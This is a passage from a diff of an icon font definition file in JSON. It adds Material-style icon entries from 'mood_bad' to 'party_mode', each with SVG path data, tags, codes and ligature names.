118-148 218-148zM362 470c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64zM662 470c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mood_bad" + ], + "defaultCode": 59379, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mood_bad", + "id": 499, + "order": 510, + "prevSize": 24, + "code": 59379, + "name": "mood_bad" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 499 + }, + { + "icon": { + "paths": [ + "M810 576c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM598 576c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM384 576c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM938 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-636c-30 0-56-16-72-38l-230-346 230-346c16-22 38-38 68-38h640z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "more" + ], + "defaultCode": 58905, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "more", + "id": 500, + "order": 511, + "prevSize": 24, + "code": 58905, + "name": "more" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 500 + }, + { + "icon": { + "paths": [ + "M512 426c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM768 426c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM256 426c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "more_horiz" + ], + "defaultCode": 58835, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "more_horiz", + "id": 501, + "order": 512, + "prevSize": 24, + "code": 58835, + "name": "more_horiz" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 501 + }, + { + "icon": { + "paths": [ + "M512 682c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM512 426c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM512 342c-46 0-86-40-86-86s40-86 86-86 86 40 86 86-40 86-86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "more_vert" + ], + "defaultCode": 58836, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "more_vert", + "id": 502, + "order": 513, + "prevSize": 24, + "code": 58836, + "name": "more_vert" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 502 + }, + { + "icon": { + "paths": [ + "M810 726c70 0 128-58 128-128s-58-128-128-128-128 58-128 128 58 128 128 128zM334 640h-120v-86h120c-18-50-66-84-120-84-70 0-128 58-128 128s58 128 128 128c54 0 102-36 120-86zM830 386c110 8 194 98 194 212 0 120-94 212-214 212s-212-92-212-212c0-26 4-52 12-76l-118 118h-70c-20 98-104 170-208 170-120 0-214-92-214-212s94-214 214-214h494l-86-86h-152v-84h188z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "motorcycle" + ], + "defaultCode": 59675, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "motorcycle", + "id": 503, + "order": 514, + "prevSize": 24, + "code": 59675, + "name": "motorcycle2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 503 + }, + { + "icon": { + "paths": [ + "M470 46v338h-300c0-174 132-318 300-338zM170 640v-170h684v170c0 188-154 342-342 342s-342-154-342-342zM554 46c168 20 300 164 300 338h-300v-338z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mouse" + ], + "defaultCode": 58147, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mouse", + "id": 504, + "order": 515, + "prevSize": 24, + "code": 58147, + "name": "mouse" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 504 + }, + { + "icon": { + "paths": [ + "M682 426l-170 172-170-172h84v-128h172v128h84zM810 640v-426h-598v426h172c0 70 58 128 128 128s128-58 128-128h170zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-598c-48 0-84-40-84-86v-596c0-46 36-86 84-86h598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "move_to_inbox" + ], + "defaultCode": 57704, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "move_to_inbox", + "id": 505, + "order": 516, + "prevSize": 24, + "code": 57704, + "name": "move_to_inbox" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 505 + }, + { + "icon": { + "paths": [ + "M768 170h170v598c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h44l84 172h128l-84-172h84l86 172h128l-86-172h86l86 172h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "movie_creation" + ], + "defaultCode": 58372, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "movie, movie_creation", + "id": 506, + "order": 517, + "prevSize": 24, + "code": 58372, + "name": "movie_creation" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 506 + }, + { + "icon": { + "paths": [ + "M722 510l88-40-88-40-40-88-40 88-88 40 88 40 40 88zM480 650l118-52-118-54-54-118-52 118-118 54 118 52 52 118zM768 170h170v598c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h44l84 128h128l-84-128h84l86 128h128l-86-128h86l86 128h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "movie_filter" + ], + "defaultCode": 58426, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "movie_filter", + "id": 507, + "order": 518, + "prevSize": 24, + "code": 58426, + "name": "movie_filter" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 507 + }, + { + "icon": { + "paths": [ + "M938 296l-130 146c46 74 78 164 88 262h-86c-8-70-30-136-62-194l-172 194-170-172-256 256-64-64 320-320 170 172 122-140c-72-84-172-138-288-138-100 0-192 40-264 104l-60-60c88-78 200-128 324-128 138 0 258 60 346 158l122-136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "multiline_chart" + ], + "defaultCode": 59103, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "multiline_chart", + "id": 508, + "order": 519, + "prevSize": 24, + "code": 59103, + "name": "multiline_chart" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 508 + }, + { + "icon": { + "paths": [ + "M512 128h256v170h-170v428c0 94-78 170-172 170s-170-76-170-170 76-172 170-172c32 0 60 10 86 24v-450z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "music_note" + ], + "defaultCode": 58373, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "music_note", + "id": 509, + "order": 520, + "prevSize": 24, + "code": 58373, + "name": "music_note" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 509 + }, + { + "icon": { + "paths": [ + "M342 640c0-70 58-128 128-128 14 0 28 4 42 8v-264h214v86h-128v300c0 70-58 126-128 126s-128-58-128-128zM896 810v-596h-768v596h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "music_video" + ], + "defaultCode": 57443, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "music_video", + "id": 510, + "order": 521, + "prevSize": 24, + "code": 57443, + "name": "music_video" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 510 + }, + { + "icon": { + "paths": [ + "M554 688v166h256v84h-596v-84h256v-168c-142-24-250-146-250-294 0-166 134-300 300-300s298 134 298 300c0 154-116 278-264 296z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "nature" + ], + "defaultCode": 58374, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "nature", + "id": 511, + "order": 522, + "prevSize": 24, + "code": 58374, + "name": "nature" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 511 + }, + { + "icon": { + "paths": [ + "M192 470c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64zM946 392c0 154-116 278-264 296v166h128v84h-682v-212h-42v-172c0-24 18-42 42-42h128c24 0 42 18 42 42v172h-42v128h342v-168c-142-24-250-146-250-294 0-166 134-300 300-300s298 134 298 300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "nature_people" + ], + "defaultCode": 58375, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "nature_people", + "id": 512, + "order": 523, + "prevSize": 24, + "code": 58375, + "name": "nature_people" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 512 + }, + { + "icon": { + "paths": [ + "M512 86l320 780-30 30-290-128-290 128-30-30z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "navigation" + ], + "defaultCode": 58717, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "navigation", + "id": 513, + "order": 524, + "prevSize": 24, + "code": 58717, + "name": "navigation" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 513 + }, + { + "icon": { + "paths": [ + "M896 128l-322 768h-42l-112-292-292-112v-42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "near_me" + ], + "defaultCode": 58729, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "near_me", + "id": 514, + "order": 525, + "prevSize": 24, + "code": 58729, + "name": "near_me" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 514 + }, + { + "icon": { + "paths": [ + "M938 938h-852l852-852v852z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "network_cell" + ], + "defaultCode": 57785, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "network_cell", + "id": 515, + "order": 526, + "prevSize": 24, + "code": 57785, + "name": "network_cell" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 515 + }, + { + "icon": { + "paths": [ + "M214 554c86-86 200-126 312-122l-56 122c-62 8-124 38-172 86zM726 640c-16-16-34-30-52-42l24-124c40 20 78 46 112 80zM896 470c-52-52-112-92-176-118l22-120c88 32 170 82 240 152zM42 384c160-160 380-220 586-184l-50 114c-160-20-328 34-450 156zM678 214c12 0 22 8 22 20l-104 550v2c-8 38-44 68-84 68-48 0-86-38-86-86 0-14 4-30 10-42l222-496c3.146-9.438 9.124-16 20-16z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "network_check" + ], + "defaultCode": 58944, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "network_check", + "id": 516, + "order": 527, + "prevSize": 24, + "code": 58944, + "name": "network_check" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 516 + }, + { + "icon": { + "paths": [ + "M896 682v-64c0-36-28-64-64-64s-64 28-64 64v64h128zM938 682c24 0 44 20 44 44v170c0 24-20 42-44 42h-212c-24 0-44-18-44-42v-170c0-24 20-44 44-44v-64c0-58 48-106 106-106s106 48 106 106v64zM832 426c-106 0-192 86-192 192v12c-26 24-42 58-42 96v128h-556l812-812v386c-8 0-14-2-22-2z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "network_locked" + ], + "defaultCode": 58906, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "network_locked", + "id": 517, + "order": 528, + "prevSize": 24, + "code": 58906, + "name": "network_locked" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 517 + }, + { + "icon": { + "paths": [ + "M872.5 466.828c0.568 0.445 1.068 0.837 1.5 1.172l-362 448-362-448c0.431-0.335 0.931-0.727 1.5-1.172l-135.5-168.828c20-14 210-170 496-170s476 156 496 170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "network_wifi" + ], + "defaultCode": 57786, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "network_wifi", + "id": 518, + "order": 529, + "prevSize": 24, + "code": 57786, + "name": "network_wifi" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 518 + }, + { + "icon": { + "paths": [ + "M554 554v-256h-84v256h84zM554 726v-86h-84v86h84zM982 512l-104 118 14 158-154 34-80 136-146-62-146 62-80-134-154-36 14-158-104-118 104-120-14-156 154-34 80-136 146 62 146-62 80 136 154 34-14 158z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "new_releases" + ], + "defaultCode": 57393, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "new_releases", + "id": 519, + "order": 530, + "prevSize": 24, + "code": 57393, + "name": "new_releases" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 519 + }, + { + "icon": { + "paths": [ + "M470 790l170-172-170-170-44 42 128 128-128 128zM426 214v84h172v-84h-172zM598 128c46.645 0 84 38.997 84 86v84h172c46 0 84 40 84 86v470c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-470c0-46 38-86 84-86h172v-84c0-46 38-86 84-86h172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "next_week" + ], + "defaultCode": 57706, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "next_week", + "id": 520, + "order": 531, + "prevSize": 24, + "code": 57706, + "name": "next_week" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 520 + }, + { + "icon": { + "paths": [ + "M768 256v512h-512v-512h170v86h-84v340h340v-340h-128v96c26 14 44 42 44 74 0 46-40 86-86 86s-86-40-86-86c0-32 18-60 44-74v-96c0-46 38-86 84-86h214zM854 854v-684h-684v684h684zM854 86c46 0 84 38 84 84v684c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-684c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "nfc" + ], + "defaultCode": 57787, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "nfc", + "id": 521, + "order": 532, + "prevSize": 24, + "code": 57787, + "name": "nfc" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 521 + }, + { + "icon": { + "paths": [ + "M380 256v52l-78-78c12-106 100-188 210-188 118 0 214 96 214 214v86h42c46 0 86 38 86 84v356l-442-440h232v-86c0-72-60-132-132-132s-132 60-132 132zM896 930l-52 52-48-48c-8 2-18 4-28 4h-512c-46 0-86-38-86-84v-428c0-32 20-60 46-74l-88-86 52-52z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "no_encryption" + ], + "defaultCode": 58945, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "no_encryption", + "id": 522, + "order": 533, + "prevSize": 24, + "code": 58945, + "name": "no_encryption" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 522 + }, + { + "icon": { + "paths": [ + "M156 166l746 744-56 56-80-82c-12 6-26 12-40 12h-428c-46 0-84-40-84-86v-478l-112-112zM810 214v498l-484-484 100-100h300c46 0 84 40 84 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_cellular_no_sim" + ], + "defaultCode": 57806, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "no_sim, signal_cellular_no_sim", + "id": 523, + "order": 534, + "prevSize": 24, + "code": 57806, + "name": "signal_cellular_no_sim" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 523 + }, + { + "icon": { + "paths": [ + "M640 234v236h234zM938 426v342c0 46-38 84-84 84l-684 2c-46 0-84-40-84-86v-512c0-46 38-86 84-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "note" + ], + "defaultCode": 57455, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "note", + "id": 524, + "order": 535, + "prevSize": 24, + "code": 57455, + "name": "note" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 524 + }, + { + "icon": { + "paths": [ + "M554 384h236l-236-234v234zM682 682v-84h-128v-128h-84v128h-128v84h128v128h84v-128h128zM598 86l256 256v512c0 46-40 84-86 84h-512c-46 0-86-38-86-84l2-684c0-46 38-84 84-84h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "note_add" + ], + "defaultCode": 59548, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "note_add", + "id": 525, + "order": 536, + "prevSize": 24, + "code": 59548, + "name": "note_add" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 525 + }, + { + "icon": { + "paths": [ + "M768 682l86 86v42h-684v-42l86-86v-212c0-132 70-240 192-270v-30c0-36 28-64 64-64s64 28 64 64v30c122 30 192 140 192 270v212zM512 938c-48 0-86-38-86-84h172c0 46-40 84-86 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "notifications" + ], + "defaultCode": 59380, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "notifications", + "id": 526, + "order": 537, + "prevSize": 24, + "code": 59380, + "name": "notifications" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 526 + }, + { + "icon": { + "paths": [ + "M512 938c-48 0-86-38-86-84h170c0 49.675-37.225 84-84 84zM768 470v212l86 86v42h-684v-42l86-86v-212c0-132 70-240 192-270v-30c0-36 28-64 64-64s64 28 64 64v30c122 30 192 140 192 270zM852 448c-6-114-64-212-150-274l60-60c102 78 170 198 176 334h-86zM324 174c-88 62-146 160-152 274h-86c6-136 74-256 176-334z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "notifications_active" + ], + "defaultCode": 59383, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "notifications_active", + "id": 527, + "order": 538, + "prevSize": 24, + "code": 59383, + "name": "notifications_active" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 527 + }, + { + "icon": { + "paths": [ + "M682 726v-256c0-106-64-192-170-192s-170 86-170 192v256h340zM768 682l86 86v42h-684v-42l86-86v-212c0-132 70-240 192-270v-30c0-36 28-64 64-64s64 28 64 64v30c122 30 192 140 192 270v212zM512 938c-46 0-86-38-86-84h172c0 46-40 84-86 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "notifications_none" + ], + "defaultCode": 59381, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "notifications_none", + "id": 528, + "order": 539, + "prevSize": 24, + "code": 59381, + "name": "notifications_none" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 528 + }, + { + "icon": { + "paths": [ + "M768 626l-382-402c10-4 20-10 30-14h2l12-6c6-2 12-2 18-4v-30c0-36 28-64 64-64s64 28 64 64v30c122 30 192 138 192 270v156zM512 938c-48 0-86-36-86-84h172c0 48-38 84-86 84zM334 262c187.235 193.432 375.34 385.994 562 580l-54 54-86-86h-586v-42l86-86v-214c0-54 12-104 34-146l-120-118 54-56z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "notifications_off" + ], + "defaultCode": 59382, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "notifications_off", + "id": 529, + "order": 540, + "prevSize": 24, + "code": 59382, + "name": "notifications_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 529 + }, + { + "icon": { + "paths": [ + "M618 418v-76h-212v76h118l-118 146v76h212v-76h-118zM768 682l86 86v42h-684v-42l86-86v-212c0-130 70-240 192-270v-30c0-36 28-64 64-64s64 28 64 64v30c122 30 192 140 192 270v212zM512 938c-48 0-86-38-86-84h172c0 46-40 84-86 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "notifications_paused" + ], + "defaultCode": 59384, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "notifications_paused", + "id": 530, + "order": 541, + "prevSize": 24, + "code": 59384, + "name": "notifications_paused" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 530 + }, + { + "icon": { + "paths": [ + "M440 598l286-286-60-60-226 226-82-82-60 60zM726 768v-86h-428v86h428zM512 86c234 0 426 192 426 426s-192 426-426 426-426-192-426-426 192-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "offline_pin" + ], + "defaultCode": 59658, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "offline_pin", + "id": 531, + "order": 542, + "prevSize": 24, + "code": 59658, + "name": "offline_pin" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 531 + }, + { + "icon": { + "paths": [ + "M682 470l-298 170v-342zM896 726v-512h-768v512h768zM896 128c46 0 86 38 86 86l-2 512c0 46-38 84-84 84h-214v86h-340v-86h-214c-48 0-86-38-86-84v-512c0-48 38-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ondemand_video" + ], + "defaultCode": 58938, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "ondemand_video", + "id": 532, + "order": 543, + "prevSize": 24, + "code": 58938, + "name": "ondemand_video" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 532 + }, + { + "icon": { + "paths": [ + "M256 598h512c0-86-28-138-76-186l-180-188-180 186c-48 48-76 102-76 188zM754 342c66 66 100 154 100 240s-34 176-100 242-154 100-242 100-176-34-242-100-100-156-100-242 34-174 100-240l242-242z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "opacity" + ], + "defaultCode": 59676, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "opacity", + "id": 533, + "order": 544, + "prevSize": 24, + "code": 59676, + "name": "opacity" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 533 + }, + { + "icon": { + "paths": [ + "M512 426l170 172h-128v256h-84v-256h-128zM810 170c48 0 86 40 86 86v512c0 46-40 86-86 86h-170v-86h170v-426h-596v426h170v86h-170c-48 0-86-40-86-86v-512c0-46 38-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "open_in_browser" + ], + "defaultCode": 59549, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "open_in_browser", + "id": 534, + "order": 545, + "prevSize": 24, + "code": 59549, + "name": "open_in_browser" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 534 + }, + { + "icon": { + "paths": [ + "M598 640v128h128l-214 214-214-214h128v-128h172zM982 512l-214 214v-128h-128v-172h128v-128zM384 426v172h-128v128l-214-214 214-214v128h128zM426 384v-128h-128l214-214 214 214h-128v128h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "open_with" + ], + "defaultCode": 59551, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "open_with", + "id": 535, + "order": 546, + "prevSize": 24, + "code": 59551, + "name": "open_with" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 535 + }, + { + "icon": { + "paths": [ + "M810 128c46 0 86 40 86 86v256h-214l44-172-172 44v-214h256zM726 726l-44-172h214v256c0 46-40 86-86 86h-256v-214zM342 554l-44 172 172-44v214h-256c-46 0-86-40-86-86v-256h214zM128 214c0-46 40-86 86-86h256v214l-172-44 44 172h-214v-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pages" + ], + "defaultCode": 59385, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pages", + "id": 536, + "order": 547, + "prevSize": 24, + "code": 59385, + "name": "pages" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 536 + }, + { + "icon": { + "paths": [ + "M716 776l60-60-124-124c18-30 30-64 30-102 0-106-86-192-192-192s-192 86-192 192 86 192 192 192c38 0 72-12 102-30zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684zM490 384c58 0 108 48 108 106s-50 108-108 108-106-50-106-108 48-106 106-106z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pageview" + ], + "defaultCode": 59552, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pageview", + "id": 537, + "order": 548, + "prevSize": 24, + "code": 59552, + "name": "pageview" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 537 + }, + { + "icon": { + "paths": [ + "M982 234v620c0 94-78 170-172 170h-310c-46 0-90-18-122-50l-336-342s54-52 56-52c10-8 22-12 34-12 10 0 18 2 26 6 2 0 184 104 184 104v-508c0-36 28-64 64-64s64 28 64 64v300h42v-406c0-36 28-64 64-64s64 28 64 64v406h42v-364c0-36 28-64 64-64s64 28 64 64v364h44v-236c0-36 28-64 64-64s64 28 64 64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pan_tool" + ], + "defaultCode": 59685, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "pan_tool", + "id": 538, + "order": 549, + "prevSize": 24, + "code": 59685, + "name": "pan_tool" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 538 + }, + { + "icon": { + "paths": [ + "M362 534l-148 192h596l-192-256-148 192zM982 768c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-512c0-46 40-86 86-86h768c46 0 86 40 86 86v512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "panorama" + ], + "defaultCode": 58379, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "panorama", + "id": 539, + "order": 550, + "prevSize": 24, + "code": 58379, + "name": "panorama" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 539 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "radio_button_unchecked" + ], + "defaultCode": 59446, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "panorama_fish_eye, radio_button_unchecked", + "id": 540, + "order": 551, + "prevSize": 24, + "code": 59446, + "name": "radio_button_unchecked" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 540 + }, + { + "icon": { + "paths": [ + "M914 170c14 0 24 10 24 28v628c0 18-10 28-24 28-4 0-8-2-12-4-126-46-258-70-390-70s-264 24-390 70c-4 2-8 4-12 4-14 0-24-12-24-28v-628c0-18 10-28 24-28 4 0 8 2 12 4 126 46 258 70 390 70s264-24 390-70c4-2 8-4 12-4zM854 280c-110 34-226 48-342 48s-232-16-342-48v464c110-32 226-48 342-48s232 16 342 48v-464z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "panorama_horizontal" + ], + "defaultCode": 58381, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "panorama_horizontal", + "id": 541, + "order": 552, + "prevSize": 24, + "code": 58381, + "name": "panorama_horizontal" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 541 + }, + { + "icon": { + "paths": [ + "M280 854h464c-32-110-48-226-48-342s16-232 48-342h-464c32 110 48 226 48 342s-16 232-48 342zM850 902c2 4 4 8 4 12 0 14-12 24-28 24h-628c-18 0-28-10-28-24 0-4 2-8 4-12 46-126 70-258 70-390s-24-264-70-390c-2-4-4-8-4-12 0-14 10-24 28-24h628c18 0 28 10 28 24 0 4-2 8-4 12-46 126-70 258-70 390s24 264 70 390z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "panorama_vertical" + ], + "defaultCode": 58382, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "panorama_vertical", + "id": 542, + "order": 553, + "prevSize": 24, + "code": 58382, + "name": "panorama_vertical" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 542 + }, + { + "icon": { + "paths": [ + "M512 170c116 0 224 12 340 32l38 6 12 38c24 88 36 178 36 266s-12 178-36 266l-12 38-38 6c-116 20-224 32-340 32s-224-12-340-32l-38-6-12-38c-24-88-36-178-36-266s12-178 36-266l12-38 38-6c116-20 224-32 340-32zM512 256c-104 0-202 10-312 28-20 76-30 152-30 228s10 152 30 228c110 18 208 28 312 28s202-10 312-28c20-76 30-152 30-228s-10-152-30-228c-110-18-208-28-312-28z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "panorama_wide_angle" + ], + "defaultCode": 58383, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "panorama_wide_angle", + "id": 543, + "order": 554, + "prevSize": 24, + "code": 58383, + "name": "panorama_wide_angle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 543 + }, + { + "icon": { + "paths": [ + "M512 726c118 0 214-96 214-214 0-14-2-28-4-42h-90c4 14 8 28 8 42 0 70-58 128-128 128h-170c40 52 100 86 170 86zM512 298c-118 0-214 96-214 214 0 14 2 28 4 42h90c-4-14-8-28-8-42 0-70 58-128 128-128h170c-40-52-100-86-170-86zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h136l78-84h256l78 84h136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "party_mode" + ], + "defaultCode": 59386, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "party_mode", + "id": 544, + "order": 555, + "prevSize": 24, + "code": 59386, + "name": 